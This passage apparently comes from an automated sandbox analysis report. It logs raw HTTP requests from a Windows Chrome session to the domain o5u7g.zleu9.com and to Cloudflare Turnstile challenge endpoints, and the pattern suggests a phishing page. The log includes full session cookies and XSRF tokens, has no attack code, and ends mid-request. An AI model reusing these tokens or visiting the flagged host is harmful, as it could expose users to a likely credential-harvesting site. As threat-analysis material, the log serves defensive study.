Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/O5u7Gw/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik1QbXczbDBidTJSYllEUGlPdno0WFE9PSIsInZhbHVlIjoiM3UvMXFqNEFCNnhtRVBrc3EwK3loVW43UjVwNnNMVHV4dEhZQVNIbEpoU3ZZaUdRYzVpd0o2ZS9pVEpaQ2FXOFd5cWd5bVdpTzUrNHdZZXRheFNsLzlqNjBsdG0ydk5za3YxVVFDcUsyVk1DVGFDcXhQenJyZlhPMlQwS2RWeEciLCJtYWMiOiIxZDJmMDZjOWE3NTM1OWE2MDc1M2IxZTdiMDA1YzI0NzliMzNjNDNjN2JjOGI1NzVlZDMyNTZjNzFmNDk3MjljIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkVyMVc1c0hVdTBmVGl5TkZNZnBiQXc9PSIsInZhbHVlIjoiRTlJZStBQXU1bVZ1SU02MTV3WWdEOHQxMFZmTllXekJxcy9Pb3BjaXBoYkt1OFlqVkIvVXRMemRjdW1ZcGQ1VGIvSEJYdjhhNUtwVlI0MENFQTdlVXI4UW5UdTVIQ1ZnKzRPTzhoSHFaZlhIeFEvZDZucTM2SU5zWXFiOGo2NVgiLCJtYWMiOiI0NjVhNjNhZjRlZDgyMmNiMzI4Yjg4NzQ3OGJhZTUyNjNiYTAwOGM5ZmZhYmZiMjU4MDg2OGQ1ZTY3OWZlZjIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8793fe7a3eb209f1/1713939697720/vu_lqyi6eyYTFKi HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/862063700:1713935735:n_kDzPRHRfNhpmTiH_iizdB-6K4G1lTc2-dx7iY2jIs/8793fe7a3eb209f1/e5ab976078d7bfd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8793fe7a3eb209f1/1713939697721/681e541e9a1a67d6e1315c07be63bcb685fe8bd723a5af625b1d726887b549f7/q8iZoGCUAv7fCGs HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8793fe7a3eb209f1/1713939697720/vu_lqyi6eyYTFKi HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/862063700:1713935735:n_kDzPRHRfNhpmTiH_iizdB-6K4G1lTc2-dx7iY2jIs/8793fe7a3eb209f1/e5ab976078d7bfd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/862063700:1713935735:n_kDzPRHRfNhpmTiH_iizdB-6K4G1lTc2-dx7iY2jIs/8793fe7a3eb209f1/e5ab976078d7bfd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /O5u7Gw/ HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://o5u7g.zleu9.com/O5u7Gw/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InFSSkdkaENkY1psTzl5ZTFmQTRwTnc9PSIsInZhbHVlIjoiT2pXTFc2K3F3QVBIK3BNenBPRUYwUTdFMWI4a0pydEZvbEZUN05VbjEwYlRJTy8rYm5aemJIYXR3UTJYc0pSU2FVRkxnU2dxZ2E0YTA2Qlc5d1Nid0pIZE5xSUFhN1k2R0pGaU0waHlwVXFzNnBrYlpKcy80dnV0K1Z4T2VOK0UiLCJtYWMiOiJjNTcyZTk4NTQyNzU2M2FiZjQ5ZmY2M2VkN2I0OWE0OWRjMTI4NGUyNGJjNWFiNjZkYWRiOGFmYWU0NmVmMzYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhPYXFrQTVrK0lvLzZWbDJiRUs0bHc9PSIsInZhbHVlIjoiS2R4ejRqZWdvV3lOaEZJNjM5L0hqbElJQkZqdHRsRzNBZFhLUDFqOERwdG9XeVg1dzFEZ0FCVFE1Q0ZOdTJGTWdxQXpwS2h0ay9zMDVLUTZYWGo5ZFI3QjdPMjU1cnNUMkdoRWJ2U2pZRFZnVkZXd3lEL1V5eExCRHFhUVVjL3UiLCJtYWMiOiI2NzZiY2ViMzgzOTliOWRmYmE3MGQ3MmZiNWZlMGVlNTNmMjIyMjQyYTFkMmY1ODRjYzBkM2YwOGRhNTQ1YjI1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /nmWPBkGJrsuMPxdA2qSyaRhvPyg HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InFSSkdkaENkY1psTzl5ZTFmQTRwTnc9PSIsInZhbHVlIjoiT2pXTFc2K3F3QVBIK3BNenBPRUYwUTdFMWI4a0pydEZvbEZUN05VbjEwYlRJTy8rYm5aemJIYXR3UTJYc0pSU2FVRkxnU2dxZ2E0YTA2Qlc5d1Nid0pIZE5xSUFhN1k2R0pGaU0waHlwVXFzNnBrYlpKcy80dnV0K1Z4T2VOK0UiLCJtYWMiOiJjNTcyZTk4NTQyNzU2M2FiZjQ5ZmY2M2VkN2I0OWE0OWRjMTI4NGUyNGJjNWFiNjZkYWRiOGFmYWU0NmVmMzYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhPYXFrQTVrK0lvLzZWbDJiRUs0bHc9PSIsInZhbHVlIjoiS2R4ejRqZWdvV3lOaEZJNjM5L0hqbElJQkZqdHRsRzNBZFhLUDFqOERwdG9XeVg1dzFEZ0FCVFE1Q0ZOdTJGTWdxQXpwS2h0ay9zMDVLUTZYWGo5ZFI3QjdPMjU1cnNUMkdoRWJ2U2pZRFZnVkZXd3lEL1V5eExCRHFhUVVjL3UiLCJtYWMiOiI2NzZiY2ViMzgzOTliOWRmYmE3MGQ3MmZiNWZlMGVlNTNmMjIyMjQyYTFkMmY1ODRjYzBkM2YwOGRhNTQ1YjI1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /O5u7Gw/?j HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://o5u7g.zleu9.com/O5u7Gw/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik1SbnQyeVdERm9QOU82aDQyQXdid1E9PSIsInZhbHVlIjoiM0RjK0I4RVVTUzBxblpKeUIzeFUzR0RwZ1BWQ0pPRnBuMU82MERQSUhGZHY5Tk4rS1UzWG9idUh3Qk5GSVZIZ01nVkdIa1hVUEpkbWd3cEpUQXZYa1h4ZFF0QW1zWkFkWncwZklWWHZod0FFZ0tjRERqalJudHkyZ0ZKd0FBb3QiLCJtYWMiOiIyYTY5Y2EyYTMxM2VkNDZkZDc1MmVkNGI4YThjOGUzMjZlMmIyZGM0NmM2MWJlMDgxYjA2MGM2NjFhZjliZDlmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlQ2K3RiMG9EY1doSzRiT0xTZlBvOVE9PSIsInZhbHVlIjoiZHVMMWh5U0FGdFlwVkZyanpkeHZaRFUrbnc0QXFuVlVMaVp3T2dHS2p4ZUhVOHljYXZBK1FSMG1CNDlvNVUxbjJ6RlFkT1ZVN01LSmVycnJpMVlJclVoOWhsYlB1bjluRmFzK3JlYnhwUEsyU0t6aXFGMkNodCtHM1ZhVXRROE0iLCJtYWMiOiJmNjcwOGFhMzA2NTFjZTY2YWFjMjNlNzM5NGY0N2YwNGY2ZGIzNmFkMGZhMDA4ZGJiYzc5ZTNhMjM4YTA2ZTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1B5KMs2dSdTWHV6&MD=uvLkEpBS HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://o5u7g.zleu9.com/O5u7Gw/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpwOTVTM3o1MnV5Q3lFMDg4ZmhyWXc9PSIsInZhbHVlIjoiUytrOEFWek41eS8yZWdrZTRmUGowNTFCd0hHZEZEeHJzV05iRnh6S0VFUi9nQ1Zlem0wMXdVVWdwK1dLbEluMGhzY29pbm5ZQU80NURVbitRT2xZTENYU2puL3VCQ3J0NkhpMWJBTjRFQ1o2QStERjJqeUoybHY1Vlg4cGYwNGoiLCJtYWMiOiIxODBkNjU5NzRlNjk3OGNjNmMyNTNhNGZkNGMzNWQwYzkwODk1MTY5N2MyZDg1NTNjZDI2Y2RhODk2MmVlY2JlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlR3QmQ2QkdlUkhhVDQ0dEM1N3NDbVE9PSIsInZhbHVlIjoidHZrTFFJYjRZMUJTNk5YaktQcHAvaXl1TGRQa0hZcU1WSWNuS2FONGFPd0U0a3VrWWJ0a2UyMGlxQjUvUUNDRmdxQnViZFgvVjlxbCsrb0ZidHRjR1lKK0xVczFYSW1scUxzNm1Dd3J5K1c2QlhIK1ZYZG5QdW0yZUwrR0V4SkIiLCJtYWMiOiJmNWRiODM3NTE2MGM5MzA5YTRkOTNmZDkyODM5MzUwYzNhNzMzYzMwNzRiMDAzZTk2NDZiMDdhMjlhNWE3NWE3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /563KK3u3NwxxyErXHsR6720 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xydUz5DTJCpqPef27 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /pqp6GRMmyzxSSwx37 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzDWvxmd4z6t78IC8k0DdMqr41 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /78OF5bqYVtW234tiXjpuv60 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /23vPcUTsDItyMtMhkOGabvVduvoZpQHvw65 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; 